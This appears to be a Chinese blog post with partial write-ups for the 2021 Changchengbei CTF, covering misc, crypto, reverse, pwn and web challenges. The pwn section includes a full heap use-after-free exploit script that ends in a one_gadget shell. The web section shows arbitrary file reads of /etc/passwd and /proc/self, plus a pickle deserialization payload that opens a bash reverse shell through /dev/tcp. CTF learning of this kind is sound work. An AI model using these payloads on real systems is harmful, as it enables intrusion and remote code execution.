zoukankan      html  css  js  c++  java
  • 2021长城杯部分wp

    2021长城杯部分wp

    misc

    签到

    16进制转字符串+base64解码

    你这flag保熟吗

    附件是1.png,2.png和flag.rar,但是flag.rar被加密,可能是通过1.png和2.png找到密码,两个图片其实都藏了附件,因为文件很大,分解后分别得到

    还有一个hint.txt

    00000000: 7061 7373 776f 7264 e8a2 ab62 6173 6536  password...base6
    00000010: 34e7 bc96 e7a0 81e4 ba86 3235 e6ac a1ef  4.........25....
    00000020: bc8c e7bc 96e7 a081 e590 8ee7 9a84 e589  ................
    00000030: 8d31 36e4 b8aa e5ad 97e7 aca6 e4b8 ba56  .16............V
    00000040: 6d30 7764 3251 7955 586c 5657 4778 57    m0wd2QyUXlVWGxW
    

    hint的txt给了base64和一些可见字符,将字符按照顺序在上图中画出来,就得到

    判断是希尔伯特曲线, 希尔伯特曲线是一种能填充满一个平面正方形的分形曲线(空间填充曲线),由大卫·希尔伯特在1891年提出。(选择百度百科),根据形状,这个正方形的规模应该是16x16,根据题意应该就是反向操作找出字符,然后base64解密

    from hilbertcurve.hilbertcurve import HilbertCurve
    from pandas import *
    from base64 import *
    
    arr = read_excel('./password.xls',header=None)
    hilbert_curve = HilbertCurve(17, 2)
    flag_base64 = ''
    for i in range(np.size(arr)):
    	[x,y] = hilbert_curve.point_from_distance(i)
    	flag_base64 += str(arr[y][x])
    
    for i in range(len(flag_base64)):
    	if flag_base64[i]=='=':
    		break
    flag_base64 = flag_base64[:i+2]
    while True:
    	try:
    		flag_base64 = b64decode(flag_base64)
    	except:
    		print(flag_base64)
    		break
    #1f_y0u_h4ve_7he_fllllllag,_I_muSt_vvant_1t!
    

    解密rar文件,得到 brainfuck编码,但是直接解码失败,然后就。。。没了,待更新吧

    crypto

    baby_rsa

    #!/usr/bin/env python3
    
    from Crypto.Util.number import *
    from secret import flag, v1, v2, m1, m2
    
    
    def enc_1(val):
        #p = (v1^m1+1)-(v1+1)^m1  
        #q = (v2^m2+1)-(v2+1)^m2
        p, q = pow(v1, (m1+1))-pow((v1+1), m1), pow(v2, (m2+1))-pow((v2+1), m2)
        assert isPrime(p) and isPrime(q) and (
            p*q).bit_length() == 2048 and q < p < q << 3
        return pow(val, 0x10001, p*q)
    
    
    def enc_2(val):
        assert val.bit_length() < 512
        while True:
            fac = [getPrime(512) for i in range(3)]
            if isPrime(((fac[0]+fac[1]+fac[2]) << 1) - 1):
                n = fac[0]*fac[1]*fac[2]*(((fac[0]+fac[1]+fac[2]) << 1) - 1)
                break
        c = pow(val, 0x10001, n)
        return (c, n, ((fac[0]+fac[1]+fac[2]) << 1) - 1)
    
    
    if __name__ == "__main__":
        assert flag[:5] == b'flag{'
        plain1 = bytes_to_long(flag[:21])#前21位
        plain2 = bytes_to_long(flag[21:])
        print(enc_1(plain1))
        print(enc_2(plain2))
    

    这个题感觉有点问题,但是还是做吧,flag被分为两部分,我们一部分一部分求,先看加密1,未知量太多了,直接无脑爆破,加密2,直接分解fac[0]+fac[1]+fac[2]) << 1) - 1,后半部分的flag比较容易求

    from gmpy2 import *
    from Crypto.Util.number import *
    
    c = 40625981017250262945230548450738951725566520252163410124565622126754739693681271649127104109038164852787767296403697462475459670540845822150397639923013223102912674748402427501588018866490878394678482061561521253365550029075565507988232729032055298992792712574569704846075514624824654127691743944112075703814043622599530496100713378696761879982542679917631570451072107893348792817321652593471794974227183476732980623835483991067080345184978482191342430627490398516912714451984152960348899589532751919272583098764118161056078536781341750142553197082925070730178092561314400518151019955104989790911460357848366016263083
    n = 43001726046955078981344016981790445980199072066019323382068244142888931539602812318023095256474939697257802646150348546779647545152288158607555239302887689137645748628421247685225463346118081238718049701320726295435376733215681415774255258419418661466010403928591242961434178730846537471236142683517399109466429776377360118355173431016107543977241358064093102741819626163467139833352454094472229349598479358367203452452606833796483111892076343745958394932132199442718048720633556310467019222434693785423996656306612262714609076119634814783438111843773649519101169326072793596027594057988365133037041133566146897868269
    f = 39796272592331896400626784951713239526857273168732133046667572399622660330587881579319314094557011554851873068389016629085963086136116425352535902598378739
    fac012 = n//f
    e = 0x10001
    
    p=[191,193,627383,1720754738477317127758682285465031939891059835873975157555031327070111123628789833299433549669619325160679719355338187877758311485785197492710491]
    phi=1
    for i in p:
     phi*=i-1
    
    d=inverse(0x10001,phi)
    print(long_to_bytes(pow(c,d,f)))
    

    Reverse

    jusr_cmp-re

    ida分析

    __int64 __fastcall main(signed int a1, char **a2, char **a3)
    {
      if ( a1 > 1 )
      {
        if ( !strcmp(a2[1], "flag{********************************}") )
          puts("Correct!");
        else
          puts("Wrong!");
      }
      else
      {
        printf("Usage: %s <FLAG>
    ", *a2, a3, a2);
      }
      return 0LL;
    }
    

    主程序很短,并且没有什么flag相关的函数调用,直接运行

    root@kali:~/root# ./Just_cmp-re flag{********************************}
    Correct!
    

    直接就这样,没了。。。非常奇怪,正常来说这里应该显示错误才对,看一下其他init函数,反编译后如下

    void __fastcall init(unsigned int a1, __int64 a2, __int64 a3)
    {
      __int64 v3; // r13
      signed __int64 v4; // rbp
      __int64 v5; // rbx
    
      v3 = a3;
      v4 = &off_200DE8 - off_200DD8;
      init_proc();
      if ( v4 )
      {
        v5 = 0LL;
        do
          ((void (__fastcall *)(_QWORD, __int64, __int64))off_200DD8[v5++])(a1, a2, v3);
        while ( v5 != v4 );
      }
    }
    

    还原的代码有点奇怪,可以看一下汇编代码

    这段代码实际上执行了两个函数,但是依旧没有看到和flag相关的函数,但是能找到一个加密函数,但是实际上并没有被调用,或者替换了函数地址

    __int64 __fastcall sub_800(__int64 a1, __int64 a2)
    {
      int i; // [rsp+18h] [rbp-8h]
      int v4; // [rsp+18h] [rbp-8h]
      int j; // [rsp+1Ch] [rbp-4h]
    
      for ( i = 0; *(_BYTE *)(i + a1); ++i )
        ;
      v4 = (i >> 3) + 1;
      for ( j = 0; j < v4; ++j )
        *(_QWORD *)(8 * j + a1) -= qword_201060[j];
      return qword_201098(a1, a2);
    }
    

    这里就是一直卡住的地方,程序并没有看到调用这个函数的地方,那么是如何加密flag的,希望各位师傅能告知我一下(我认为这个题本身有问题),如果将其看做加密函数,那么直接解密就能得到flag

    import binascii
    flag_ = 'flag{********************************}'
    qword = [0x0A07370000000000, 0x380B06060A080A37, 0x3B0F0E38083B0A07,0x373B0709060B0A3A, 0x0F38070F0D]
    flag = b''
    for i in range(5):
        p = flag_[i*8:(i+1)*8]
        a = binascii.b2a_hex(p.encode('ascii')[::-1])
        b = binascii.a2b_hex(hex(int(a,16)+qword[i])[2:])[::-1]
        flag += b
    print(flag)
    

    这个加密貌似看过几次了,解密脚本都是一样的

    funny_js

    文件名和字符串都出现js,推测和js有关,发现

    基本确定就是quickjs,先找一下符合版本,最终确定为20200119

    git clone https://gitee.com/haloxxg/QuickJS/tree/20200119
    

    环境搭建以及修改源码显示反编译结果可见:https://blog.d2x3.cn/kctf2020-第三题-寻踪觅源.html

    找一下数据

    出现rc4,可能是rc4加密,密钥可能是2021quickjs_happygame

    参考https://bbs.pediy.com/thread-258966.htm写个程序观看反编译

    #include "quickjs-libc.h"
    const uint32_t qjsc_s = 0x4c0;
    
    const uint8_t qjsc_s[0x4c0] = {
    0x02,0x1B,0x06,0x72,0x63,0x34,0x04,0x73,0x6E,0x02,0x69,0x02,0x6A,0x02,0x6B,0x02,
    0x6C,0x02,0x6D,0x02,0x6E,0x04,0x75,0x6E,0x06,0x61,0x72,0x72,0x0C,0x63,0x69,0x70,
    0x68,0x65,0x72,0x2A,0x32,0x30,0x32,0x31,0x71,0x75,0x69,0x63,0x6B,0x6A,0x73,0x5F,
    0x68,0x61,0x70,0x70,0x79,0x67,0x61,0x6D,0x65,0x48,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,
    0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,
    0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x02,0x73,
    0x18,0x66,0x72,0x6F,0x6D,0x43,0x68,0x61,0x72,0x43,0x6F,0x64,0x65,0x0A,0x70,0x72,
    0x69,0x6E,0x74,0x12,0x73,0x6F,0x75,0x72,0x63,0x65,0x2E,0x6A,0x73,0x08,0x64,0x61,
    0x74,0x61,0x06,0x6B,0x65,0x79,0x06,0x62,0x6F,0x78,0x02,0x78,0x08,0x74,0x65,0x6D,
    0x70,0x02,0x79,0x06,0x6F,0x75,0x74,0x08,0x63,0x6F,0x64,0x65,0x14,0x63,0x68,0x61,
    0x72,0x43,0x6F,0x64,0x65,0x41,0x74,0x08,0x70,0x75,0x73,0x68,0x0E,0x00,0x06,0x00,
    0x9E,0x01,0x00,0x01,0x00,0x20,0x00,0x08,0xEB,0x04,0x01,0xA0,0x01,0x00,0x00,0x00,
    0x40,0xDF,0x00,0x00,0x00,0x40,0x40,0xE0,0x00,0x00,0x00,0x00,0x40,0xE1,0x00,0x00,
    0x00,0x00,0x40,0xE2,0x00,0x00,0x00,0x00,0x40,0xE3,0x00,0x00,0x00,0x00,0x40,0xE4,
    0x00,0x00,0x00,0x00,0x40,0xE5,0x00,0x00,0x00,0x00,0x40,0xE6,0x00,0x00,0x00,0x00,
    0x40,0xE7,0x00,0x00,0x00,0x00,0x40,0xE8,0x00,0x00,0x00,0x00,0x40,0xE9,0x00,0x00,
    0x00,0x00,0x40,0xE1,0x00,0x00,0x00,0x00,0xC2,0x00,0x41,0xDF,0x00,0x00,0x00,0x00,
    0x3F,0xE0,0x00,0x00,0x00,0x00,0x3F,0xE1,0x00,0x00,0x00,0x00,0x3F,0xE2,0x00,0x00,
    0x00,0x00,0x3F,0xE3,0x00,0x00,0x00,0x00,0x3F,0xE4,0x00,0x00,0x00,0x00,0x3F,0xE5,
    0x00,0x00,0x00,0x00,0x3F,0xE6,0x00,0x00,0x00,0x00,0x3F,0xE7,0x00,0x00,0x00,0x00,
    0x3F,0xE8,0x00,0x00,0x00,0x00,0x3F,0xE9,0x00,0x00,0x00,0x00,0x3F,0xE1,0x00,0x00,
    0x00,0x00,0x04,0xEA,0x00,0x00,0x00,0x11,0x3A,0xE7,0x00,0x00,0x00,0x0E,0x04,0xEB,
    0x00,0x00,0x00,0x11,0x3A,0xE0,0x00,0x00,0x00,0xCB,0xC0,0x96,0x00,0xC0,0xE0,0x00,
    0xC0,0xF4,0x00,0xBF,0x44,0xBF,0x3D,0xBF,0x7D,0xBF,0x08,0xC0,0xEF,0x00,0xC0,0xCB,
    0x00,0xC0,0xFE,0x00,0xC0,0xF1,0x00,0xBF,0x71,0xC0,0xD5,0x00,0xC0,0xB0,0x00,0xBF,
    0x40,0xBF,0x6A,0xBF,0x67,0xC0,0xA6,0x00,0xC0,0xB9,0x00,0xC0,0x9F,0x00,0xC0,0x9E,
    0x00,0xC0,0xAC,0x00,0xBF,0x09,0xC0,0xD5,0x00,0xC0,0xEF,0x00,0xBF,0x0C,0xBF,0x64,
    0xC0,0xB9,0x00,0xBF,0x5A,0xC0,0xAE,0x00,0xBF,0x6B,0xC0,0x83,0x00,0x26,0x20,0x00,
    0xC0,0xDF,0x00,0x4D,0x20,0x00,0x00,0x80,0xBF,0x7A,0x4D,0x21,0x00,0x00,0x80,0xC0,
    0xE5,0x00,0x4D,0x22,0x00,0x00,0x80,0xC0,0x9D,0x00,0x4D,0x23,0x00,0x00,0x80,0x11,
    0x3A,0xE8,0x00,0x00,0x00,0x0E,0xC1,0x01,0x11,0x3A,0xE5,0x00,0x00,0x00,0xCB,0xC1,
    0x02,0x11,0x3A,0xE6,0x00,0x00,0x00,0xCB,0xB7,0x11,0x3A,0xE4,0x00,0x00,0x00,0xCB,
    0xB7,0x11,0x3A,0xE3,0x00,0x00,0x00,0xCB,0x39,0xDF,0x00,0x00,0x00,0x39,0xE0,0x00,
    0x00,0x00,0x39,0xE7,0x00,0x00,0x00,0xF2,0x11,0x3A,0xE9,0x00,0x00,0x00,0x0E,0x06,
    0xCB,0xB7,0x11,0x3A,0xE1,0x00,0x00,0x00,0x0E,0x39,0xE1,0x00,0x00,0x00,0x39,0xE9,
    0x00,0x00,0x00,0xEB,0xA5,0xEC,0x6E,0x39,0xE9,0x00,0x00,0x00,0x39,0xE1,0x00,0x00,
    0x00,0x48,0x11,0x3A,0xE2,0x00,0x00,0x00,0xCB,0x39,0xE2,0x00,0x00,0x00,0xBF,0x38,
    0xBF,0x11,0xA0,0xB0,0x11,0x3A,0xE4,0x00,0x00,0x00,0xCB,0x06,0xCB,0x39,0xE4,0x00,
    0x00,0x00,0x39,0xE8,0x00,0x00,0x00,0x39,0xE3,0x00,0x00,0x00,0x48,0xAB,0xEC,0x0F,
    0x39,0xE5,0x00,0x00,0x00,0x93,0x3A,0xE5,0x00,0x00,0x00,0xCB,0xEE,0x0D,0x39,0xE6,
    0x00,0x00,0x00,0x93,0x3A,0xE6,0x00,0x00,0x00,0xCB,0x39,0xE3,0x00,0x00,0x00,0x93,
    0x3A,0xE3,0x00,0x00,0x00,0xCB,0x39,0xE1,0x00,0x00,0x00,0x93,0x3A,0xE1,0x00,0x00,
    0x00,0x0E,0xEE,0x86,0x06,0xCB,0x39,0xE5,0x00,0x00,0x00,0x39,0xE9,0x00,0x00,0x00,
    0xEB,0xAB,0xEC,0x15,0x39,0xE6,0x00,0x00,0x00,0xB7,0xAB,0xEC,0x0C,0xC1,0x03,0x11,
    0x3A,0xE6,0x00,0x00,0x00,0xCB,0xEE,0x0A,0xC1,0x04,0x11,0x3A,0xE6,0x00,0x00,0x00,
    0xCB,0xC3,0x11,0x3A,0xEC,0x00,0x00,0x00,0xCB,0x06,0xCB,0x39,0xE6,0x00,0x00,0x00,
    0xC1,0x05,0xA7,0xEC,0x3A,0x39,0xEC,0x00,0x00,0x00,0x39,0x97,0x00,0x00,0x00,0x43,
    0xED,0x00,0x00,0x00,0x39,0x96,0x00,0x00,0x00,0x39,0xE6,0x00,0x00,0x00,0xC1,0x06,
    0x9E,0xF1,0x24,0x01,0x00,0x9F,0x11,0x3A,0xEC,0x00,0x00,0x00,0xCB,0x39,0xE6,0x00,
    0x00,0x00,0xC1,0x07,0x9D,0x11,0x3A,0xE6,0x00,0x00,0x00,0xCB,0xEE,0xBE,0x39,0xEE,
    0x00,0x00,0x00,0x39,0xEC,0x00,0x00,0x00,0xF1,0xCF,0x28,0xDE,0x03,0x01,0x20,0x00,
    0x48,0x01,0x00,0x4A,0x52,0x3F,0x40,0x00,0x7C,0x04,0x30,0x30,0x2B,0x2B,0x77,0x7B,
    0x5D,0x5D,0x6C,0x3F,0x0E,0x40,0x3F,0x4A,0xB7,0x30,0x2B,0x3F,0xCB,0x4E,0x0D,0x0E,
    0x43,0x06,0x00,0xBE,0x03,0x02,0x08,0x02,0x05,0x00,0x00,0xBB,0x01,0x0A,0xE0,0x03,
    0x00,0x01,0x00,0xE2,0x03,0x00,0x01,0x00,0xE4,0x03,0x00,0x00,0x00,0xC2,0x03,0x00,
    0x01,0x00,0xE6,0x03,0x00,0x02,0x00,0xE8,0x03,0x00,0x03,0x00,0xEA,0x03,0x00,0x04,
    0x00,0xEC,0x03,0x00,0x05,0x00,0xEE,0x03,0x00,0x06,0x00,0xC6,0x03,0x00,0x07,0x00,
    0x39,0x94,0x00,0x00,0x00,0xC0,0x00,0x01,0xF1,0xCB,0xB7,0xCC,0xC8,0xC0,0x00,0x01,
    0xA5,0xEC,0x09,0xC7,0xC8,0xC8,0x4A,0x95,0x01,0xEE,0xF2,0xB7,0xCD,0xB7,0xCC,0xC8,
    0xC0,0x00,0x01,0xA5,0xEC,0x2C,0xC9,0xC7,0xC8,0x48,0x9F,0xD4,0x43,0xF8,0x00,0x00,
    0x00,0xC8,0xD4,0xEB,0x9E,0x24,0x01,0x00,0x9F,0xC0,0x00,0x01,0x9E,0xCD,0xC7,0xC8,
    0x48,0xCE,0xC7,0xC8,0x72,0xC7,0xC9,0x48,0x4A,0xC7,0xC9,0xCA,0x4A,0x95,0x01,0xEE,
    0xCF,0xB7,0xCD,0xB7,0xC5,0x04,0x26,0x00,0x00,0xC5,0x05,0xB7,0xCC,0xC8,0xD3,0xEB,
    0xA5,0xEC,0x56,0xD3,0x43,0xF8,0x00,0x00,0x00,0xC8,0x24,0x01,0x00,0xC5,0x06,0xC9,
    0xB8,0x9F,0xC0,0x00,0x01,0x9E,0xCD,0xC4,0x04,0xC7,0xC9,0x48,0x9F,0xC0,0x00,0x01,
    0x9E,0xC5,0x04,0xC7,0xC9,0x48,0xCE,0xC7,0xC9,0x72,0xC7,0xC4,0x04,0x48,0x4A,0xC7,
    0xC4,0x04,0xCA,0x4A,0xC7,0xC9,0x48,0xC7,0xC4,0x04,0x48,0x9F,0xC0,0x00,0x01,0x9E,
    0xC5,0x07,0xC4,0x05,0x43,0xF9,0x00,0x00,0x00,0xC4,0x06,0xC7,0xC4,0x07,0x48,0xB0,
    0x24,0x01,0x00,0x0E,0x95,0x01,0xEE,0xA6,0xC4,0x05,0x28,0xDE,0x03,0x03,0x19,0x04,
    0x35,0x30,0x17,0x18,0x0D,0x30,0x7B,0x17,0x26,0x17,0x19,0x0D,0x12,0x1C,0x2C,0x40,
    0x2B,0x3F,0x17,0x2B,0x1D,0x4A,0x5D,0x17,0x0A,0x00,0x0A,0x00,0x0A,0xE8,0x01,0x07,
    0x44,0xB8,0x90,0xB5,0x6B,0x67,0x80,0x0A,0xE8,0x01,0x07,0x34,0xA7,0xB8,0x48,0x7F,
    0x8D,0xAF,0x0A,0x00,0x0A,0x28,0x01,0xFE,0x0A,0x28,0x01,0xFE,0x00,0x00,0x00,0x00,
    0xB0,0x74,0xA3,0x0F,0xC8,0x55,0x00,0x00,0xB0,0x74,0xA3,0x0F,0xC8,0x55,0x00,0x00,
    0xC0,0x74,0xA3,0x0F,0xC8,0x55,0x00,0x00,0xC0,0x74,0xA3,0x0F,0xC8,0x55,0x00,0x00,
    0xD0,0x74,0xA3,0x0F,0xC8,0x55,0x00,0x00,0xD0,0x74,0xA3,0x0F,0xC8,0x55,0x00,0x00
    };
    
    int main(int argc, char **argv)
    {
      JSRuntime *rt;
      JSContext *ctx;
      rt = JS_NewRuntime();
      ctx = JS_NewContextRaw(rt);
      JS_SetModuleLoaderFunc(rt, NULL, js_module_loader, NULL);
      JS_AddIntrinsicBaseObjects(ctx);
      JS_AddIntrinsicDate(ctx);
      JS_AddIntrinsicEval(ctx);
      JS_AddIntrinsicStringNormalize(ctx);
      JS_AddIntrinsicRegExp(ctx);
      JS_AddIntrinsicJSON(ctx);
      JS_AddIntrinsicProxy(ctx);
      JS_AddIntrinsicMapSet(ctx);
      JS_AddIntrinsicTypedArrays(ctx);
      JS_AddIntrinsicPromise(ctx);
      JS_AddIntrinsicBigInt(ctx);
      js_std_add_helpers(ctx, argc, argv);
      js_std_eval_binary(ctx, qjsc_s, 0x4c0, 0);
      js_std_loop(ctx);
      JS_FreeContext(ctx);
      JS_FreeRuntime(rt);
      return 0;
    }
    

    编译运行cc funny_js.c -lm -ldl libquickjs.lto.a -o funny_js,提取出密文

    150, 224, 244, 68, 61, 125, 8, 239, 203, 254, 241, 113, 213, 176, 64, 106, 103,166, 185, 159, 158, 172, 9, 213, 239, 12, 100, 185, 90, 174, 107, 131, 223, 122, 229,157
    

    根据反汇编的结果,是将flag进行rc4加密,然后异或39,逆向操作解得到flag

    pwn

    K1ng_in_h3Ap1

        Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      PIE enabled
    

    保护全开,64位程序,ida分析

    添加堆的函数

    _DWORD *add()
    {
      _DWORD *result; // rax
      int v1; // [rsp+8h] [rbp-8h]
      int heap_size; // [rsp+Ch] [rbp-4h]
    
      puts("input index:");
      v1 = input();
      if ( v1 < 0 || v1 > 10 )                      // 10以内
        exit(0);
      puts("input size:");
      heap_size = input();
      if ( heap_size < 0 || heap_size > 240 )       // 大小
        exit(0);
      heap_addr[v1] = malloc(heap_size);            // 存放堆地址
      result = heap_szie_shuzu;
      heap_szie_shuzu[v1] = heap_size;              // 存放堆地址大小的数组
      return result;                                // 返回数组
    }
    

    泄露的函数

    int leak_()
    {
      return printf("%p
    ", (unsigned __int64)&printf & 0xFFFFFF);
    }
    

    漏洞出现在delete函数上,存在uaf

    void delete()
    {
      int v0; // [rsp+Ch] [rbp-4h]
    
      puts("input index:");
      v0 = input();
      if ( v0 < 0 || v0 > 10 || !heap_addr[v0] || !heap_szie_shuzu[v0] )
        exit(0);
      free(heap_addr[v0]);                          // uaf漏洞
    }
    

    分析:程序给我们一个leak函数,泄露printf函数低3位,那其实利用利用偏移找到其他函数或者结构地址(比如找到7f绕开fastbin的检测),结合之前祥云杯学到的一个_IO_2_1_stdout_ 泄露libc:https://www.jianshu.com/p/27152c14e2e7

    因为是2.23版本,unsorded bin直接结合fastbin attack来泄露即可,还有就是结合one_gadget,但是得进行抬栈操作,注意不能使用malloc_hook因为过不了fastbin的检测,这里可以使用_IO_wide_data_0+301,这里的值可以绕开fastbin检测

    总之:低版本的glibc泄露libc没有高版本的简单(对比祥云杯)

    exp参考了北岛师傅,写得比较易懂,比较适合学习,我的死活打不通就不献丑了

    from pwn import *
    
    context(os = "linux", arch = "amd64")#,log_level= "debug")
    context.terminal = ['tmux', 'splitw', '-h']
    
    r = process(['/root/LibcSearcher/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./K1ng_in_h3Ap'],env={"LD_PRELOAD":"./changcheng_libc.so.6"})
    
    elf = ELF('./K1ng_in_h3Ap')
    libc = ELF('changcheng_libc.so.6')
    
    def add(idx,size):
        r.recvuntil('>> 
    ')
        r.sendline('1')
        r.recvuntil('input index:')
        r.sendline(str(idx))
        r.recvuntil('input size:')
        r.sendline(str(size))
    
    def free(idx):
        r.recvuntil('>> 
    ')
        r.sendline('2')
        r.recvuntil('input index:')
        r.sendline(str(idx))
    
    def edit(idx,content):
        r.recvuntil('>> 
    ')
        r.sendline('3')
        r.recvuntil('input index:')
        r.sendline(str(idx))
        r.recvuntil('input context:')
        r.sendline(content)
    
    def leak_():
        r.recvuntil('>> 
    ')
        r.sendline('666')
    
    leak_()
    recv_addr = r.recv(8)
    leak = int(recv_addr,16)
    print(hex(leiak))
    #gdb.attach(r)
    stderr_157 = leak+0x36fdcd
    
    add(0,0x60)
    add(1,0x60)
    add(2,0xa0)
    add(3,0x60)
    
    free(2)
    add(4,0x60)#from unsorded bin
    edit(4,p8(stderr_157&0xff)+p16(stderr_157>>8))
    free(0)
    free(1)#fatsbin1->fastbin0
    edit(1,p8(0xe0))#unsorded bin in fastbin
    add(5,0x60)
    add(6,0x60)
    add(7,0x60)
    payload = 'aaa'+p64(0)*6+p64(0xfbad1800)+p64(0)*3+'x00'
    edit(7,payload)
    leak_libc = u64(r.recvuntil('x7f')[-6:].ljust(8, 'x00'))
    
    libc_base = leak_libc-0x3c5600
    print('libc_base',hex(libc_base))
    
    instant_malloc_hook = libc_base+0x3c4aed
    print('instant_malloc_hook',hex(instant_malloc_hook))
    
    r.recv()
    r.sendline('1')
    r.recvuntil('input index:')
    r.sendline('8')
    r.recvuntil('input size:')
    r.sendline('96')#add(8)
    r.recv()
    r.sendline('2')
    r.recvuntil('input index:')
    r.sendline('8')#free(8)
    
    #make fastbin fd to fake chunk
    r.recv()
    r.sendline('3')
    r.recvuntil('input index:')
    r.sendline('8')
    r.recvuntil('input context:')
    r.sendline(p64(instant_malloc_hook))#edit(8)
    
    r.recv()
    r.sendline('1')
    r.recvuntil('input index:')
    r.sendline('9')
    r.recvuntil('input size:')
    r.sendline('96')#add(8),addr is fake chunk
    
    r.recv()
    r.sendline('1')
    r.recvuntil('input index:')
    r.sendline('10')
    r.recvuntil('input size:')
    r.sendline('96')
    
    one_gadget=[0x45226, 0x4527a, 0xf03a4, 0xf1247]
    shell = one_gadget[3]+libc_base
    
    realloc = libc.sym['__libc_realloc']+libc_base
    print('realloc',hex(realloc))
    realloc_offset = realloc+12
    print('realloc_offset',hex(realloc_offset))
    shell_payload = 'x00'+p64(0)+p64(shell)+p64(realloc_offset)
    
    r.recv()
    r.sendline('3')
    r.recvuntil('input index:')
    r.sendline('10')
    r.recvuntil('input context:')
    r.sendline(shell_payload)
    
    
    r.recv()
    r.sendline('1')
    r.recvuntil('input index:')
    r.sendline('0')
    r.recvuntil('input size:')
    #gdb.attach(r)
    r.sendline('1')
    r.interactive()
    

    K1ng_in_h3Ap2

    待复现

    web

    ez-python

    前端发现右键查看源代码有/?pic=1.jpg,发现存在任意文件读取

    /?pic=/etc/passwd
    利用linux进程符号链接找到源码
    /proc/self/cmdline
    /proc/self/cwd/app/app.py
    

    得到源码

    import pickle
    import base64
    from flask import Flask, request
    from flask import render_template,redirect,send_from_directory
    import os
    import requests
    import random
    from flask import send_file
    
    app = Flask(__name__)
    
    class User():
        def __init__(self,name,age):
            self.name = name
            self.age = age
    
    def check(s):
        if b'R' in s:
            return 0
        return 1
    
    
    @app.route("/")
    def index():
        try:
            user = base64.b64decode(request.cookies.get('user'))
            if check(user):
                user = pickle.loads(user)
                username = user["username"]
            else:
                username = "bad,bad,hacker"
        except:
            username = "CTFer"
        pic = '{0}.jpg'.format(random.randint(1,7))
        
        try:
            pic=request.args.get('pic')
            with open(pic, 'rb') as f:
                base64_data = base64.b64encode(f.read())
                p = base64_data.decode()
        except:
            pic='{0}.jpg'.format(random.randint(1,7))
            with open(pic, 'rb') as f:
                base64_data = base64.b64encode(f.read())
                p = base64_data.decode()
    
        return render_template('index.html', uname=username, pic=p )
    
    
    if __name__ == "__main__":
        app.run('0.0.0.0',port=8888)
    

    pickle,但是过滤R,opcode指令反弹shell(和祥云杯的题很像)

    import base64
    data=b'''(cos
    system
    S'bash -c "bash -i >& /dev/tcp/xxxxx/xxxx 0>&1"'
    o.'''
    print(base64.b64encode(data))
    

    抓包,添加cookie,user=payload,vps得到shell后,读取文件的得到flag

    作者:寒江寻影
    本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须在文章页面给出原文链接,否则保留追究法律责任的权利。
  • 相关阅读:
    uWSGI 是一種協議,同時它也是一個程式。
    影像数据的裁切和保存
    Android Studio、IDEA 获取开发版SHA1值和发布版SHA1值,详细过程
    Android Studio的Signature Versions选择,分别是什么意思
    Android Studio更改项目SDK的版本
    c#+ArcGIS Engine-获取矢量图层的空间参考
    64。node.js 中间件express-session使用详解
    63.note.js之 Mongodb在Nodejs上的配置及session会话机制的实现
    62.nodejs中的ejs模板学习
    61.node.js开发错误——Error: Connection strategy not found
  • 原文地址:https://www.cnblogs.com/crfshadow/p/15320273.html
Copyright © 2011-2022 走看看